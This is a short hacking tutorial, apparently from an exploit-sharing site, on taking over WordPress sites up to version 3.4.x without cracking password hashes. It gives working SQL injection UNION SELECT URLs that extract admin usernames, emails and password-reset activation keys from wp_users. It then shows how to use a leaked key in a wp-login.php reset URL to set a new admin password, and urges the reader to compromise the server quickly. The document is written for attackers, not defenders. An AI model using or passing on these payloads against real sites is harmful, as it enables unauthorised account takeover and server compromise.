Hack Wordpress <= 3.4.2 Without Cracking Hash

Bài liên quan

• Sagem Fast 3304-V1 - Denial Of Service Vulnerability
• Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload

• Wordpress 3.9.1 - CSRF Vulnerability
• Wordpress Theme Infocus - Post Local File Disclosure

i will explain how to hack wordpress sites without cracking the hashes.

Requirments:

SQLi Vulnerable Wordpress Site

WP version Should Be <= 3.4.3

For this tutorial, we’ll be using “http://www.target.com/somewordpressplugin.php?id=1” as an example.

Lets Get Started..... 

[#] Find Admin Username

First step is to find the admin username. For finding admin username we will extract the column wp_users using SQLi.
eg:-

http://www.target.com/somewordpressplugin.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email),7,8,9,10,11,12+from+wp_users--+

Note down the admin username/email. 

[#] Send Activation Key

a) Go to http://www.target.com/wp-login.php

b) Click on Lost your password ?

c) Now the wordpress will ask you for a username/email, enter the username/email of admin and click reset.

Now it should be saying 
Check your e-mail for the confirmation link.

Now what wordpress does is it sends an activation key to the email address but also it sets the value of activation key in the database as well. Since we have an SQLi on that site we will be able to view the activation key in the database.

[#] Get The Activation Key

Activation key is stored in the column user_activation_key so our query will be: eg:-

http://www.target.com/somewordpressplugin.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_activation_key),7,8,9,10,11,12+from+wp_users--+

Now you will be able to view the activation key

[#] Reset The Password Now finally all we have to do is append the following to the site url and edit it with your activation key and username.

wp-login.php?action=rp&key=KEYHERE&login=USER NAME HERE

eg:-

http://target.com/wp-login.php?action=rp&key=cFn9vDsT3X2ZnW8vEda6&login=admin

Now enter a new password reset the password and you will able to login it. :D 

By now admin may know someone is trying to hack his website since we have sended an activation key to his email. Now its up to you to pawn the server fast. 

hanks for reading. 
Stay safe and gud luck!